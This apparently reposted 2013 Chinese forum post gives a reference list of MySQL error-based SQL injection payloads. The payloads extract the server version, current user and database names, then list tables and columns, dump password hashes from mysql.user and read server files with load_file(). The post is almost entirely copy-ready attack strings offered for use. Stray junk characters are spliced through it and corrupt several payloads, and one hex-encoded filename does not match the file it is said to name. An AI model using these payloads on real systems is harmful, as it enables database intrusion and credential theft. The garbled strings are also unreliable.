本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
+ {' p% [! V% J) p% \) _3 N) |$ Q: M0 b
# K; m3 ^, R# \: w6 ^! E SMysql暴错注入参考(pdf),每天一贴。。。
8 @+ r! G+ O5 ^2 ]# X
8 R" y I8 U: w/ @MySql Error Based Injection Reference; ^: |7 t7 \& d& q
[Mysql暴错注入参考]
: }7 K# g- L' c. }' I& T& ?1 bAuthornig0s1992: |1 @3 O2 X( b# n9 ^4 C$ o2 M8 Y
Blog:http://pnig0s1992.blog.51cto.com/
& r. b) C+ M: w& LTeAm:http://www.FreeBuf.com/
. ?4 S6 g" c( P7 ]# ^5 T" n, bMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
; `1 F& U+ d0 V+ `# ^1 @. u4 r小部分版本使用name_const()时会报错.可以用给出的Method.2测试' B/ J' {+ R+ V7 q9 k# T7 z, d
查询版本:
4 s' [/ H+ K9 r7 G' ^5 `) o+ cMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
& |! f- I+ s2 ~, e' }- tjoin+(select+name_const(@@version,0))b)c)
3 ~4 |( R% E+ @3 ?2 }$ s( S6 {Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro6 q) ~! e# P5 _# w0 E/ }
up by a)b)
+ f$ o1 X- C: b9 q1 K+ Z$ M查询当前用户:
9 ~( T% U) O3 n( I6 Z& ~6 d+ ?$ UMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
6 L* }0 \0 _. S% ~+ I! X, z4 q( xMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
/ T% W* W4 D: c `6 \and(0)*2))x+from+information_schema.tables+group+by+x)a), ~- s: D8 @: X( Q3 O7 @
查询当前数据库:
0 O' j ^* N% ^4 MMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)6 C. u" k* l2 N! S
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
- y; _) Q; X2 {9 l3 [2 kor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)$ W. w$ D9 _6 ~, K x2 y
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+, \: h, v8 v- b' o, x8 r; J6 S
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
1 W4 ]9 S# h- Q0 z' P+ ]; A顺序替换
7 a2 N% f! P h" ~爆指定库数目: ^3 L8 P- v& B8 `1 L( p/ i" W
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
. U( D5 {2 f- M6 Z: S( Rable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group: t B9 c( D6 V
+by+x)a)+and+1=1 0x6D7973716C=mysql
+ e% r4 V: O" r7 m2 d6 m2 w依次爆表:1 B/ b; y: W: [1 {' B6 h
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t; ]! n$ h1 g9 z O0 K
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta1 C( q0 Y' y5 Z6 n# p' m
bles+group+by+x)a)+and+1=1* j% F8 d" `) U% r$ N& h
0x6D7973716C=Mysql 将n顺序替换
2 i0 B, O) V; y) H% u% `爆表内字段数目:6 f) J) _& O& x' B
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE! q9 S, ~$ n) u0 l
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
1 F% L }8 ^4 j1 c6 T% R8 p0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=13 x+ q8 O( s6 {0 I- `
依次爆字段:. u$ h3 ~ t: {6 |/ w# T: H! H
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
* c( E) D; ]$ D3 G. _2 J! e+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1' L4 S3 N* Y" a1 I
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
/ d" s1 n' \3 |8 j; l E1 K5 Q# P依次暴内容:. K. g0 V* x# E6 G$ V. r) b) Z
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche/ D5 y" p( U2 \8 k, a9 A
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1, m1 ~- u6 M" e% q
将n顺序替换9 ?, o. ^9 v; o( M: O' ~' t+ a
爆文件内容:6 \' D; E+ N5 p6 X. W/ [8 r# J* u
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a+ n3 C. ^7 z3 A- X2 X# e
from+information_schema.tables+group+by+a)b) 3 m3 y" I7 O2 V# Q" g. l- e' F6 f6 l
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
+ U- k: I: D' Y- hThx for reading." S% o" M: g4 [5 S( m
. j: h) V( Z( U: J% d6 ~
不要下载也可以,
: ?# G0 W) I9 i+ O5 {4 O' U9 u' ` |